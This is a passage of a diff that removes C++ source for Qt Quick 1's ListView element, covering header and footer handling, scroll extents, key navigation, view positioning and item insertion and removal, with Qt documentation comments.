d->highlightSizeAnimator->velocity = d->highlightResizeSpeed; - emit highlightResizeSpeedChanged(); - } -} - -int QDeclarative1ListView::highlightResizeDuration() const -{ - Q_D(const QDeclarative1ListView); - return d->highlightResizeDuration; -} - -void QDeclarative1ListView::setHighlightResizeDuration(int duration) -{ - Q_D(QDeclarative1ListView);\ - if (d->highlightResizeDuration != duration) { - d->highlightResizeDuration = duration; - if (d->highlightSizeAnimator) - d->highlightSizeAnimator->userDuration = d->highlightResizeDuration; - emit highlightResizeDurationChanged(); - } -} - -/*! - \qmlproperty enumeration QtQuick1::ListView::snapMode - - This property determines how the view scrolling will settle following a drag or flick. - The possible values are: - - \list - \o ListView.NoSnap (default) - the view stops anywhere within the visible area. - \o ListView.SnapToItem - the view settles with an item aligned with the start of - the view. - \o ListView.SnapOneItem - the view settles no more than one item away from the first - visible item at the time the mouse button is released. This mode is particularly - useful for moving one page at a time. - \endlist - - \c snapMode does not affect the \l currentIndex. To update the - \l currentIndex as the list is moved, set \l highlightRangeMode - to \c ListView.StrictlyEnforceRange. - - \sa highlightRangeMode -*/ -QDeclarative1ListView::SnapMode QDeclarative1ListView::snapMode() const -{ - Q_D(const QDeclarative1ListView); - return d->snapMode; -} - -void QDeclarative1ListView::setSnapMode(SnapMode mode) -{ - Q_D(QDeclarative1ListView); - if (d->snapMode != mode) { - d->snapMode = mode; - emit snapModeChanged(); - } -} - -/*! - \qmlproperty Component QtQuick1::ListView::footer - This property holds the component to use as the footer. - - An instance of the footer component is created for each view. The - footer is positioned at the end of the view, after any items. - - \sa header -*/ -QDeclarativeComponent *QDeclarative1ListView::footer() const -{ - Q_D(const QDeclarative1ListView); - return d->footerComponent; -} - -void QDeclarative1ListView::setFooter(QDeclarativeComponent *footer) -{ - Q_D(QDeclarative1ListView); - if (d->footerComponent != footer) { - if (d->footer) { - if (scene()) - scene()->removeItem(d->footer->item); - d->footer->item->deleteLater(); - delete d->footer; - d->footer = 0; - } - d->footerComponent = footer; - d->minExtentDirty = true; - d->maxExtentDirty = true; - if (isComponentComplete()) { - d->updateFooter(); - d->updateViewport(); - d->fixupPosition(); - } - emit footerChanged(); - } -} - -/*! - \qmlproperty Component QtQuick1::ListView::header - This property holds the component to use as the header. - - An instance of the header component is created for each view. The - header is positioned at the beginning of the view, before any items. - - \sa footer -*/ -QDeclarativeComponent *QDeclarative1ListView::header() const -{ - Q_D(const QDeclarative1ListView); - return d->headerComponent; -} - -void QDeclarative1ListView::setHeader(QDeclarativeComponent *header) -{ - Q_D(QDeclarative1ListView); - if (d->headerComponent != header) { - if (d->header) { - if (scene()) - scene()->removeItem(d->header->item); - d->header->item->deleteLater(); - delete d->header; - d->header = 0; - } - d->headerComponent = header; - d->minExtentDirty = true; - d->maxExtentDirty = true; - if (isComponentComplete()) { - d->updateHeader(); - d->updateFooter(); - d->updateViewport(); - d->fixupPosition(); - } - emit headerChanged(); - } -} - -void QDeclarative1ListView::setContentX(qreal pos) -{ - Q_D(QDeclarative1ListView); - // Positioning the view manually should override any current movement state - d->moveReason = QDeclarative1ListViewPrivate::Other; - QDeclarative1Flickable::setContentX(pos); -} - -void QDeclarative1ListView::setContentY(qreal pos) -{ - Q_D(QDeclarative1ListView); - // Positioning the view manually should override any current movement state - d->moveReason = QDeclarative1ListViewPrivate::Other; - QDeclarative1Flickable::setContentY(pos); -} - -bool QDeclarative1ListView::event(QEvent *event) -{ - Q_D(QDeclarative1ListView); - if (event->type() == QEvent::User) { - if (d->layoutScheduled) - d->layout(); - return true; - } - - return QDeclarative1Flickable::event(event); -} - -void QDeclarative1ListView::viewportMoved() -{ - Q_D(QDeclarative1ListView); - QDeclarative1Flickable::viewportMoved(); - if (!d->itemCount) - return; - // Recursion can occur due to refill changing the content size. - if (d->inViewportMoved) - return; - d->inViewportMoved = true; - d->lazyRelease = true; - refill(); - if (d->hData.flicking || d->vData.flicking || d->hData.moving || d->vData.moving) - d->moveReason = QDeclarative1ListViewPrivate::Mouse; - if (d->moveReason != QDeclarative1ListViewPrivate::SetIndex) { - if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange && d->highlight) { - // reposition highlight - qreal pos = d->highlight->position(); - qreal viewPos; - qreal highlightStart; - qreal highlightEnd; - if (d->isRightToLeft()) { - // Handle Right-To-Left exceptions - viewPos = -d->position()-d->size(); - highlightStart = d->highlightRangeStartValid ? d->size()-d->highlightRangeEnd : d->highlightRangeStart; - highlightEnd = d->highlightRangeEndValid ? d->size()-d->highlightRangeStart : d->highlightRangeEnd; - } else { - viewPos = d->position(); - highlightStart = d->highlightRangeStart; - highlightEnd = d->highlightRangeEnd; - } - if (pos > viewPos + highlightEnd - d->highlight->size()) - pos = viewPos + highlightEnd - d->highlight->size(); - if (pos < viewPos + highlightStart) - pos = viewPos + highlightStart; - d->highlightPosAnimator->stop(); - d->highlight->setPosition(qRound(pos)); - - // update current index - if (FxListItem1 *snapItem = d->snapItemAt(d->highlight->position())) { - if (snapItem->index >= 0 && snapItem->index != d->currentIndex) - d->updateCurrent(snapItem->index); - } - } - } - - if ((d->hData.flicking || d->vData.flicking) && d->correctFlick && !d->inFlickCorrection) { - d->inFlickCorrection = true; - // Near an end and it seems that the extent has changed? - // Recalculate the flick so that we don't end up in an odd position. - if (yflick() && !d->vData.inOvershoot) { - if (d->vData.velocity > 0) { - const qreal minY = minYExtent(); - if ((minY - d->vData.move.value() < height()/2 || d->vData.flickTarget - d->vData.move.value() < height()/2) - && minY != d->vData.flickTarget) - d->flickY(-d->vData.smoothVelocity.value()); - d->bufferMode = QDeclarative1ListViewPrivate::BufferBefore; - } else if (d->vData.velocity < 0) { - const qreal maxY = maxYExtent(); - if ((d->vData.move.value() - maxY < height()/2 || d->vData.move.value() - d->vData.flickTarget < height()/2) - && maxY != d->vData.flickTarget) - d->flickY(-d->vData.smoothVelocity.value()); - d->bufferMode = QDeclarative1ListViewPrivate::BufferAfter; - } - } - - if (xflick() && !d->hData.inOvershoot) { - if (d->hData.velocity > 0) { - const qreal minX = minXExtent(); - if ((minX - d->hData.move.value() < width()/2 || d->hData.flickTarget - d->hData.move.value() < width()/2) - && minX != d->hData.flickTarget) - d->flickX(-d->hData.smoothVelocity.value()); - d->bufferMode = d->isRightToLeft() - ? QDeclarative1ListViewPrivate::BufferAfter : QDeclarative1ListViewPrivate::BufferBefore; - } else if (d->hData.velocity < 0) { - const qreal maxX = maxXExtent(); - if ((d->hData.move.value() - maxX < width()/2 || d->hData.move.value() - d->hData.flickTarget < width()/2) - && maxX != d->hData.flickTarget) - d->flickX(-d->hData.smoothVelocity.value()); - d->bufferMode = d->isRightToLeft() - ? QDeclarative1ListViewPrivate::BufferBefore : QDeclarative1ListViewPrivate::BufferAfter; - } - } - d->inFlickCorrection = false; - } - d->inViewportMoved = false; -} - -qreal QDeclarative1ListView::minYExtent() const -{ - Q_D(const QDeclarative1ListView); - if (d->orient == QDeclarative1ListView::Horizontal) - return QDeclarative1Flickable::minYExtent(); - if (d->minExtentDirty) { - d->minExtent = -d->startPosition(); - if (d->header && d->visibleItems.count()) - d->minExtent += d->header->size(); - if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) { - d->minExtent += d->highlightRangeStart; - if (d->sectionCriteria) { - if (d->visibleItem(0)) - d->minExtent -= d->visibleItem(0)->sectionSize(); - } - d->minExtent = qMax(d->minExtent, -(d->endPositionAt(0) - d->highlightRangeEnd + 1)); - } - d->minExtentDirty = false; - } - - return d->minExtent; -} - -qreal QDeclarative1ListView::maxYExtent() const -{ - Q_D(const QDeclarative1ListView); - if (d->orient == QDeclarative1ListView::Horizontal) - return height(); - if (d->maxExtentDirty) { - if (!d->model || !d->model->count()) { - d->maxExtent = d->header ? -d->header->size() : 0; - d->maxExtent += height(); - } else if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) { - d->maxExtent = -(d->positionAt(d->model->count()-1) - d->highlightRangeStart); - if (d->highlightRangeEnd != d->highlightRangeStart) - d->maxExtent = qMin(d->maxExtent, -(d->endPosition() - d->highlightRangeEnd + 1)); - } else { - d->maxExtent = -(d->endPosition() - height() + 1); - } - if (d->footer) - d->maxExtent -= d->footer->size(); - qreal minY = minYExtent(); - if (d->maxExtent > minY) - d->maxExtent = minY; - d->maxExtentDirty = false; - } - return d->maxExtent; -} - -qreal QDeclarative1ListView::minXExtent() const -{ - Q_D(const QDeclarative1ListView); - if (d->orient == QDeclarative1ListView::Vertical) - return QDeclarative1Flickable::minXExtent(); - if (d->minExtentDirty) { - d->minExtent = -d->startPosition(); - - qreal highlightStart; - qreal highlightEnd; - qreal endPositionFirstItem = 0; - if (d->isRightToLeft()) { - if (d->model && d->model->count()) - endPositionFirstItem = d->positionAt(d->model->count()-1); - else if (d->header) - d->minExtent += d->header->size(); - highlightStart = d->highlightRangeStartValid - ? d->highlightRangeStart - (d->lastPosition()-endPositionFirstItem) - : d->size() - (d->lastPosition()-endPositionFirstItem); - highlightEnd = d->highlightRangeEndValid ? d->highlightRangeEnd : d->size(); - if (d->footer) - d->minExtent += d->footer->size(); - qreal maxX = maxXExtent(); - if (d->minExtent < maxX) - d->minExtent = maxX; - } else { - endPositionFirstItem = d->endPositionAt(0); - highlightStart = d->highlightRangeStart; - highlightEnd = d->highlightRangeEnd; - if (d->header && d->visibleItems.count()) - d->minExtent += d->header->size(); - } - if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) { - d->minExtent += d->isRightToLeft() ? -highlightStart : highlightStart; - d->minExtent = qMax(d->minExtent, -(endPositionFirstItem - highlightEnd + 1)); - } - d->minExtentDirty = false; - } - - return d->minExtent; -} - -qreal QDeclarative1ListView::maxXExtent() const -{ - Q_D(const QDeclarative1ListView); - if (d->orient == QDeclarative1ListView::Vertical) - return width(); - if (d->maxExtentDirty) { - qreal highlightStart; - qreal highlightEnd; - qreal lastItemPosition = 0; - d->maxExtent = 0; - if (d->isRightToLeft()) { - highlightStart = d->highlightRangeStartValid ? d->highlightRangeEnd : d->size(); - highlightEnd = d->highlightRangeEndValid ? d->highlightRangeStart : d->size(); - lastItemPosition = d->endPosition(); - } else { - highlightStart = d->highlightRangeStart; - highlightEnd = d->highlightRangeEnd; - if (d->model && d->model->count()) - lastItemPosition = d->positionAt(d->model->count()-1); - } - if (!d->model || !d->model->count()) { - if (!d->isRightToLeft()) - d->maxExtent = d->header ? -d->header->size() : 0; - d->maxExtent += width(); - } else if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) { - d->maxExtent = -(lastItemPosition - highlightStart); - if (highlightEnd != highlightStart) { - d->maxExtent = d->isRightToLeft() - ? qMax(d->maxExtent, -(d->endPosition() - highlightEnd + 1)) - : qMin(d->maxExtent, -(d->endPosition() - highlightEnd + 1)); - } - } else { - d->maxExtent = -(d->endPosition() - width() + 1); - } - if (d->isRightToLeft()) { - if (d->header && d->visibleItems.count()) - d->maxExtent -= d->header->size(); - } else { - if (d->footer) - d->maxExtent -= d->footer->size(); - qreal minX = minXExtent(); - if (d->maxExtent > minX) - d->maxExtent = minX; - } - d->maxExtentDirty = false; - } - return d->maxExtent; -} - -void QDeclarative1ListView::keyPressEvent(QKeyEvent *event) -{ - Q_D(QDeclarative1ListView); - keyPressPreHandler(event); - if (event->isAccepted()) - return; - - if (d->model && d->model->count() && d->interactive) { - if ((d->orient == QDeclarative1ListView::Horizontal && !d->isRightToLeft() && event->key() == Qt::Key_Left) - || (d->orient == QDeclarative1ListView::Horizontal && d->isRightToLeft() && event->key() == Qt::Key_Right) - || (d->orient == QDeclarative1ListView::Vertical && event->key() == Qt::Key_Up)) { - if (currentIndex() > 0 || (d->wrap && !event->isAutoRepeat())) { - decrementCurrentIndex(); - event->accept(); - return; - } else if (d->wrap) { - event->accept(); - return; - } - } else if ((d->orient == QDeclarative1ListView::Horizontal && !d->isRightToLeft() && event->key() == Qt::Key_Right) - || (d->orient == QDeclarative1ListView::Horizontal && d->isRightToLeft() && event->key() == Qt::Key_Left) - || (d->orient == QDeclarative1ListView::Vertical && event->key() == Qt::Key_Down)) { - if (currentIndex() < d->model->count() - 1 || (d->wrap && !event->isAutoRepeat())) { - incrementCurrentIndex(); - event->accept(); - return; - } else if (d->wrap) { - event->accept(); - return; - } - } - } - event->ignore(); - QDeclarative1Flickable::keyPressEvent(event); -} - -void QDeclarative1ListView::geometryChanged(const QRectF &newGeometry, - const QRectF &oldGeometry) -{ - Q_D(QDeclarative1ListView); - d->maxExtentDirty = true; - d->minExtentDirty = true; - if (d->isRightToLeft() && d->orient == QDeclarative1ListView::Horizontal) { - // maintain position relative to the right edge - int dx = newGeometry.width() - oldGeometry.width(); - setContentX(contentX() - dx); - } - QDeclarative1Flickable::geometryChanged(newGeometry, oldGeometry); -} - - -/*! - \qmlmethod QtQuick1::ListView::incrementCurrentIndex() - - Increments the current index. The current index will wrap - if keyNavigationWraps is true and it is currently at the end. - This method has no effect if the \l count is zero. - - \bold Note: methods should only be called after the Component has completed. -*/ -void QDeclarative1ListView::incrementCurrentIndex() -{ - Q_D(QDeclarative1ListView); - int count = d->model ? d->model->count() : 0; - if (count && (currentIndex() < count - 1 || d->wrap)) { - d->moveReason = QDeclarative1ListViewPrivate::SetIndex; - int index = currentIndex()+1; - setCurrentIndex((index >= 0 && index < count) ? index : 0); - } -} - -/*! - \qmlmethod QtQuick1::ListView::decrementCurrentIndex() - - Decrements the current index. The current index will wrap - if keyNavigationWraps is true and it is currently at the beginning. - This method has no effect if the \l count is zero. - - \bold Note: methods should only be called after the Component has completed. -*/ -void QDeclarative1ListView::decrementCurrentIndex() -{ - Q_D(QDeclarative1ListView); - int count = d->model ? d->model->count() : 0; - if (count && (currentIndex() > 0 || d->wrap)) { - d->moveReason = QDeclarative1ListViewPrivate::SetIndex; - int index = currentIndex()-1; - setCurrentIndex((index >= 0 && index < count) ? index : count-1); - } -} - -void QDeclarative1ListViewPrivate::positionViewAtIndex(int index, int mode) -{ - Q_Q(QDeclarative1ListView); - if (!isValid()) - return; - if (mode < QDeclarative1ListView::Beginning || mode > QDeclarative1ListView::Contain) - return; - int idx = qMax(qMin(index, model->count()-1), 0); - - if (layoutScheduled) - layout(); - qreal pos = isRightToLeft() ? -position() - size() : position(); - FxListItem1 *item = visibleItem(idx); - qreal maxExtent; - if (orient == QDeclarative1ListView::Vertical) - maxExtent = -q->maxYExtent(); - else - maxExtent = isRightToLeft() ? q->minXExtent()-size(): -q->maxXExtent(); - - if (!item) { - int itemPos = positionAt(idx); - // save the currently visible items in case any of them end up visible again - QList oldVisible = visibleItems; - visibleItems.clear(); - visiblePos = itemPos; - visibleIndex = idx; - setPosition(qMin(qreal(itemPos), maxExtent)); - // now release the reference to all the old visible items. - for (int i = 0; i < oldVisible.count(); ++i) - releaseItem(oldVisible.at(i)); - item = visibleItem(idx); - } - if (item) { - const qreal itemPos = item->position(); - switch (mode) { - case QDeclarative1ListView::Beginning: - pos = itemPos; - if (index < 0 && header) - pos -= header->size(); - break; - case QDeclarative1ListView::Center: - pos = itemPos - (size() - item->size())/2; - break; - case QDeclarative1ListView::End: - pos = itemPos - size() + item->size(); - if (index >= model->count() && footer) - pos += footer->size(); - break; - case QDeclarative1ListView::Visible: - if (itemPos > pos + size()) - pos = itemPos - size() + item->size(); - else if (item->endPosition() < pos) - pos = itemPos; - break; - case QDeclarative1ListView::Contain: - if (item->endPosition() > pos + size()) - pos = itemPos - size() + item->size(); - if (itemPos < pos) - pos = itemPos; - } - pos = qMin(pos, maxExtent); - qreal minExtent; - if (orient == QDeclarative1ListView::Vertical) { - minExtent = -q->minYExtent(); - } else { - minExtent = isRightToLeft() ? q->maxXExtent()-size(): -q->minXExtent(); - } - pos = qMax(pos, minExtent); - moveReason = QDeclarative1ListViewPrivate::Other; - q->cancelFlick(); - setPosition(pos); - if (highlight) { - if (autoHighlight) { - highlight->setPosition(currentItem->itemPosition()); - highlight->setSize(currentItem->itemSize()); - } - updateHighlight(); - } - } - fixupPosition(); -} - -/*! - \qmlmethod QtQuick1::ListView::positionViewAtIndex(int index, PositionMode mode) - - Positions the view such that the \a index is at the position specified by - \a mode: - - \list - \o ListView.Beginning - position item at the top (or left for horizontal orientation) of the view. - \o ListView.Center - position item in the center of the view. - \o ListView.End - position item at bottom (or right for horizontal orientation) of the view. - \o ListView.Visible - if any part of the item is visible then take no action, otherwise - bring the item into view. - \o ListView.Contain - ensure the entire item is visible. If the item is larger than - the view the item is positioned at the top (or left for horizontal orientation) of the view. - \endlist - - If positioning the view at \a index would cause empty space to be displayed at - the beginning or end of the view, the view will be positioned at the boundary. - - It is not recommended to use \l {Flickable::}{contentX} or \l {Flickable::}{contentY} to position the view - at a particular index. This is unreliable since removing items from the start - of the list does not cause all other items to be repositioned, and because - the actual start of the view can vary based on the size of the delegates. - The correct way to bring an item into view is with \c positionViewAtIndex. - - \bold Note: methods should only be called after the Component has completed. To position - the view at startup, this method should be called by Component.onCompleted. For - example, to position the view at the end: - - \code - Component.onCompleted: positionViewAtIndex(count - 1, ListView.Beginning) - \endcode -*/ -void QDeclarative1ListView::positionViewAtIndex(int index, int mode) -{ - Q_D(QDeclarative1ListView); - if (!d->isValid() || index < 0 || index >= d->model->count()) - return; - d->positionViewAtIndex(index, mode); -} - -/*! - \qmlmethod QtQuick1::ListView::positionViewAtBeginning() - \qmlmethod QtQuick1::ListView::positionViewAtEnd() - \since Quick 1.1 - - Positions the view at the beginning or end, taking into account any header or footer. - - It is not recommended to use \l {Flickable::}{contentX} or \l {Flickable::}{contentY} to position the view - at a particular index. This is unreliable since removing items from the start - of the list does not cause all other items to be repositioned, and because - the actual start of the view can vary based on the size of the delegates. - - \bold Note: methods should only be called after the Component has completed. To position - the view at startup, this method should be called by Component.onCompleted. For - example, to position the view at the end on startup: - - \code - Component.onCompleted: positionViewAtEnd() - \endcode -*/ -void QDeclarative1ListView::positionViewAtBeginning() -{ - Q_D(QDeclarative1ListView); - if (!d->isValid()) - return; - d->positionViewAtIndex(-1, Beginning); -} - -void QDeclarative1ListView::positionViewAtEnd() -{ - Q_D(QDeclarative1ListView); - if (!d->isValid()) - return; - d->positionViewAtIndex(d->model->count(), End); -} - -/*! - \qmlmethod int QtQuick1::ListView::indexAt(int x, int y) - - Returns the index of the visible item containing the point \a x, \a y in content - coordinates. If there is no item at the point specified, or the item is - not visible -1 is returned. - - If the item is outside the visible area, -1 is returned, regardless of - whether an item will exist at that point when scrolled into view. - - \bold Note: methods should only be called after the Component has completed. -*/ -int QDeclarative1ListView::indexAt(qreal x, qreal y) const -{ - Q_D(const QDeclarative1ListView); - for (int i = 0; i < d->visibleItems.count(); ++i) { - const FxListItem1 *listItem = d->visibleItems.at(i); - if(listItem->contains(x, y)) - return listItem->index; - } - - return -1; -} - -void QDeclarative1ListView::componentComplete() -{ - Q_D(QDeclarative1ListView); - QDeclarative1Flickable::componentComplete(); - updateSections(); - d->updateHeader(); - d->updateFooter(); - if (d->isValid()) { - refill(); - d->moveReason = QDeclarative1ListViewPrivate::SetIndex; - if (d->currentIndex < 0 && !d->currentIndexCleared) - d->updateCurrent(0); - else - d->updateCurrent(d->currentIndex); - if (d->highlight && d->currentItem) { - if (d->autoHighlight) - d->highlight->setPosition(d->currentItem->position()); - d->updateTrackedItem(); - } - d->moveReason = QDeclarative1ListViewPrivate::Other; - d->fixupPosition(); - } -} - -void QDeclarative1ListView::updateSections() -{ - Q_D(QDeclarative1ListView); - if (isComponentComplete() && d->model) { - QList roles; - if (d->sectionCriteria && !d->sectionCriteria->property().isEmpty()) - roles << d->sectionCriteria->property().toUtf8(); - d->model->setWatchedRoles(roles); - d->updateSections(); - if (d->itemCount) - d->layout(); - } -} - -void QDeclarative1ListView::refill() -{ - Q_D(QDeclarative1ListView); - if (d->isRightToLeft()) - d->refill(-d->position()-d->size()+1, -d->position()); - else - d->refill(d->position(), d->position()+d->size()-1); -} - -void QDeclarative1ListView::trackedPositionChanged() -{ - Q_D(QDeclarative1ListView); - if (!d->trackedItem || !d->currentItem) - return; - if (d->moveReason == QDeclarative1ListViewPrivate::SetIndex) { - qreal trackedPos = qCeil(d->trackedItem->position()); - qreal trackedSize = d->trackedItem->size(); - if (d->trackedItem != d->currentItem) { - trackedSize += d->currentItem->sectionSize(); - } - qreal viewPos; - qreal highlightStart; - qreal highlightEnd; - if (d->isRightToLeft()) { - viewPos = -d->position()-d->size(); - highlightStart = d->highlightRangeStartValid ? d->size()-d->highlightRangeEnd : d->highlightRangeStart; - highlightEnd = d->highlightRangeEndValid ? d->size()-d->highlightRangeStart : d->highlightRangeEnd; - } else { - viewPos = d->position(); - highlightStart = d->highlightRangeStart; - highlightEnd = d->highlightRangeEnd; - } - qreal pos = viewPos; - if (d->haveHighlightRange) { - if (d->highlightRange == StrictlyEnforceRange) { - if (trackedPos > pos + highlightEnd - d->trackedItem->size()) - pos = trackedPos - highlightEnd + d->trackedItem->size(); - if (trackedPos < pos + highlightStart) - pos = trackedPos - highlightStart; - } else { - if (trackedPos < d->startPosition() + highlightStart) { - pos = d->startPosition(); - } else if (d->trackedItem->endPosition() > d->endPosition() - d->size() + highlightEnd) { - pos = d->endPosition() - d->size() + 1; - if (pos < d->startPosition()) - pos = d->startPosition(); - } else { - if (trackedPos > pos + highlightEnd - trackedSize) - pos = trackedPos - highlightEnd + trackedSize; - if (trackedPos < pos + highlightStart) - pos = trackedPos - highlightStart; - } - } - } else { - if (trackedPos < viewPos && d->currentItem->position() < viewPos) { - pos = d->currentItem->position() < trackedPos ? trackedPos : d->currentItem->position(); - } else if (d->trackedItem->endPosition() >= viewPos + d->size() - && d->currentItem->endPosition() >= viewPos + d->size()) { - if (d->trackedItem->endPosition() <= d->currentItem->endPosition()) { - pos = d->trackedItem->endPosition() - d->size() + 1; - if (trackedSize > d->size()) - pos = trackedPos; - } else { - pos = d->currentItem->endPosition() - d->size() + 1; - if (d->currentItem->size() > d->size()) - pos = d->currentItem->position(); - } - } - } - if (viewPos != pos) { - cancelFlick(); - d->calcVelocity = true; - d->setPosition(pos); - d->calcVelocity = false; - } - } -} - -void QDeclarative1ListView::itemsInserted(int modelIndex, int count) -{ - Q_D(QDeclarative1ListView); - if (!isComponentComplete() || !d->model || !d->model->isValid()) - return; - d->updateUnrequestedIndexes(); - d->moveReason = QDeclarative1ListViewPrivate::Other; - - qreal tempPos = d->isRightToLeft() ? -d->position()-d->size() : d->position(); - int index = d->visibleItems.count() ? d->mapFromModel(modelIndex) : 0; - - if (index < 0) { - int i = d->visibleItems.count() - 1; - while (i > 0 && d->visibleItems.at(i)->index == -1) - --i; - if (i == 0 && d->visibleItems.first()->index == -1) { - // there are no visible items except items marked for removal - index = d->visibleItems.count(); - } else if (d->visibleItems.at(i)->index + 1 == modelIndex - && d->visibleItems.at(i)->endPosition() < d->buffer+tempPos+d->size()-1) { - // Special case of appending an item to the model. - index = d->visibleItems.count(); - } else { - if (modelIndex < d->visibleIndex) { - // Insert before visible items - d->visibleIndex += count; - for (int i = 0; i < d->visibleItems.count(); ++i) { - FxListItem1 *listItem = d->visibleItems.at(i); - if (listItem->index != -1 && listItem->index >= modelIndex) - listItem->index += count; - } - } - if (d->currentIndex >= modelIndex) { - // adjust current item index - d->currentIndex += count; - if (d->currentItem) - d->currentItem->index = d->currentIndex; - emit currentIndexChanged(); - } - d->scheduleLayout(); - d->itemCount += count; - emit countChanged(); - return; - } - } - - // index can be the next item past the end of the visible items list (i.e. appended) - int pos = 0; - if (d->visibleItems.count()) { - pos = index < d->visibleItems.count() ? d->visibleItems.at(index)->position() - : d->visibleItems.last()->endPosition()+d->spacing+1; - } else if (d->itemCount == 0 && d->header) { - pos = d->header->size(); - } - - int initialPos = pos; - int diff = 0; - QList added; - bool addedVisible = false; - FxListItem1 *firstVisible = d->firstVisibleItem(); - if (firstVisible && pos < firstVisible->position()) { - // Insert items before the visible item. - int insertionIdx = index; - int i = 0; - int from = tempPos - d->buffer; - for (i = count-1; i >= 0 && pos > from; --i) { - if (!addedVisible) { - d->scheduleLayout(); - addedVisible = true; - } - FxListItem1 *item = d->createItem(modelIndex + i); - d->visibleItems.insert(insertionIdx, item); - pos -= item->size() + d->spacing; - item->setPosition(pos); - index++; - } - if (i >= 0) { - // If we didn't insert all our new items - anything - // before the current index is not visible - remove it. - while (insertionIdx--) { - FxListItem1 *item = d->visibleItems.takeFirst(); - if (item->index != -1) - d->visibleIndex++; - d->releaseItem(item); - } - } else { - // adjust pos of items before inserted items. - for (int i = insertionIdx-1; i >= 0; i--) { - FxListItem1 *listItem = d->visibleItems.at(i); - listItem->setPosition(listItem->position() - (initialPos - pos)); - } - } - } else { - int i = 0; - int to = d->buffer+tempPos+d->size(); - for (i = 0; i < count && pos <= to; ++i) { - if (!addedVisible) { - d->scheduleLayout(); - addedVisible = true; - } - FxListItem1 *item = d->createItem(modelIndex + i); - d->visibleItems.insert(index, item); - item->setPosition(pos); - added.append(item); - pos += item->size() + d->spacing; - ++index; - } - if (i != count) { - // We didn't insert all our new items, which means anything - // beyond the current index is not visible - remove it. - while (d->visibleItems.count() > index) - d->releaseItem(d->visibleItems.takeLast()); - } - diff = pos - initialPos; - } - if (d->itemCount && d->currentIndex >= modelIndex) { - // adjust current item index - d->currentIndex += count; - if (d->currentItem) { - d->currentItem->index = d->currentIndex; - d->currentItem->setPosition(d->currentItem->position() + diff); - } - emit currentIndexChanged(); - } else if (!d->itemCount && (!d->currentIndex || (d->currentIndex < 0 && !d->currentIndexCleared))) { - d->updateCurrent(0); - } - // Update the indexes of the following visible items. - for (; index < d->visibleItems.count(); ++index) { - FxListItem1 *listItem = d->visibleItems.at(index); - if (d->currentItem && listItem->item != d->currentItem->item) - listItem->setPosition(listItem->position() + diff); - if (listItem->index != -1) - listItem->index += count; - } - // everything is in order now - emit add() signal - for (int j = 0; j < added.count(); ++j) - added.at(j)->attached->emitAdd(); - - d->updateSections(); - d->itemCount += count; - emit countChanged(); -} - -void QDeclarative1ListView::itemsRemoved(int modelIndex, int count) -{ - Q_D(QDeclarative1ListView); - if (!isComponentComplete() || !d->model || !d->model->isValid()) - return; - d->moveReason = QDeclarative1ListViewPrivate::Other; - d->updateUnrequestedIndexes(); - d->itemCount -= count; - - FxListItem1 *firstVisible = d->firstVisibleItem(); - int preRemovedSize = 0; - bool removedVisible = false; - // Remove the items from the visible list, skipping anything already marked for removal - QList::Iterator it = d->visibleItems.begin(); - while (it != d->visibleItems.end()) { - FxListItem1 *item = *it; - if (item->index == -1 || item->index < modelIndex) { - // already removed, or before removed items - ++it; - } else if (item->index >= modelIndex + count) { - // after removed items - item->index -= count; - ++it; - } else { - // removed item - if (!removedVisible) { - d->scheduleLayout(); - removedVisible = true; - } - item->attached->emitRemove(); - if (item->attached->delayRemove()) { - item->index = -1; - connect(item->attached, SIGNAL(delayRemoveChanged()), this, SLOT(destroyRemoved()), Qt::QueuedConnection); - ++it; - } else { - if (item == firstVisible) - firstVisible = 0; - if (firstVisible && item->position() < firstVisible->position()) - preRemovedSize += item->size(); - it = d->visibleItems.erase(it); - d->releaseItem(item); - } - } - } - - if (firstVisible && d->visibleItems.first() != firstVisible) - d->visibleItems.first()->setPosition(d->visibleItems.first()->position() + preRemovedSize); - - // update visibleIndex - bool haveVisibleIndex = false; - for (it = d->visibleItems.begin(); it != d->visibleItems.end(); ++it) { - if ((*it)->index != -1) { - d->visibleIndex = (*it)->index; - haveVisibleIndex = true; - break; - } - } - - // fix current - if (d->currentIndex >= modelIndex + count) { - d->currentIndex -= count; - if (d->currentItem) - d->currentItem->index -= count; - emit currentIndexChanged(); - } else if (d->currentIndex >= modelIndex && d->currentIndex < modelIndex + count) { - // current item has been removed. - d->currentItem->attached->setIsCurrentItem(false); - d->releaseItem(d->currentItem); - d->currentItem = 0; - d->currentIndex = -1; - if (d->itemCount) - d->updateCurrent(qMin(modelIndex, d->itemCount-1)); - else - emit currentIndexChanged(); - } - - if (!haveVisibleIndex) { - d->timeline.clear(); - if (removedVisible && d->itemCount == 0) { - d->visibleIndex = 0; - d->visiblePos = d->header ? d->header->size() : 0; - d->setPosition(0); - d->updateHeader(); - d->updateFooter(); - update(); - } else { - if (modelIndex < d->visibleIndex) - d->visibleIndex = modelIndex+1; - d->visibleIndex = qMax(qMin(d->visibleIndex, d->itemCount-1), 0); - } - } - - d->updateSections(); - emit countChanged(); -} - -void QDeclarative1ListView::destroyRemoved() -{ - Q_D(QDeclarative1ListView); - for (QList::Iterator it = d->visibleItems.begin(); - it != d->visibleItems.end();) { - FxListItem1 *listItem = *it; - if (listItem->index == -1 && listItem->attached->delayRemove() == false) { - d->releaseItem(listItem); - it = d->visibleItems.erase(it); - } else { - ++it; - } - } - - // Correct the positioning of the items - d->updateSections(); - d->layout(); -} - -void QDeclarative1ListView::itemsMoved(int from, int to, int count) -{ - Q_D(QDeclarative1ListView); - if (!isComponentComplete() || !d->isValid()) - return; - d->updateUnrequestedIndexes(); - - if (d->visibleItems.isEmpty()) { - refill(); - return; - } - - d->moveReason = QDeclarative1ListViewPrivate::Other; - FxListItem1 *firstVisible = d->firstVisibleItem(); - qreal firstItemPos = firstVisible->position(); - QHash moved; - int moveBy = 0; - - QList::Iterator it = d->visibleItems.begin(); - while (it != d->visibleItems.end()) { - FxListItem1 *item = *it; - if (item->index >= from && item->index < from + count) { - // take the items that are moving - item->index += (to-from); - moved.insert(item->index, item); - if (item->position() < firstItemPos) - moveBy += item->size(); - it = d->visibleItems.erase(it); - } else { - // move everything after the moved items. - if (item->index > from && item->index != -1) - item->index -= count; - ++it; - } - } - - int remaining = count; - int endIndex = d->visibleIndex; - it = d->visibleItems.begin(); - while (it != d->visibleItems.end()) { - FxListItem1 *item = *it; - if (remaining && item->index >= to && item->index < to + count) { - // place items in the target position, reusing any existing items 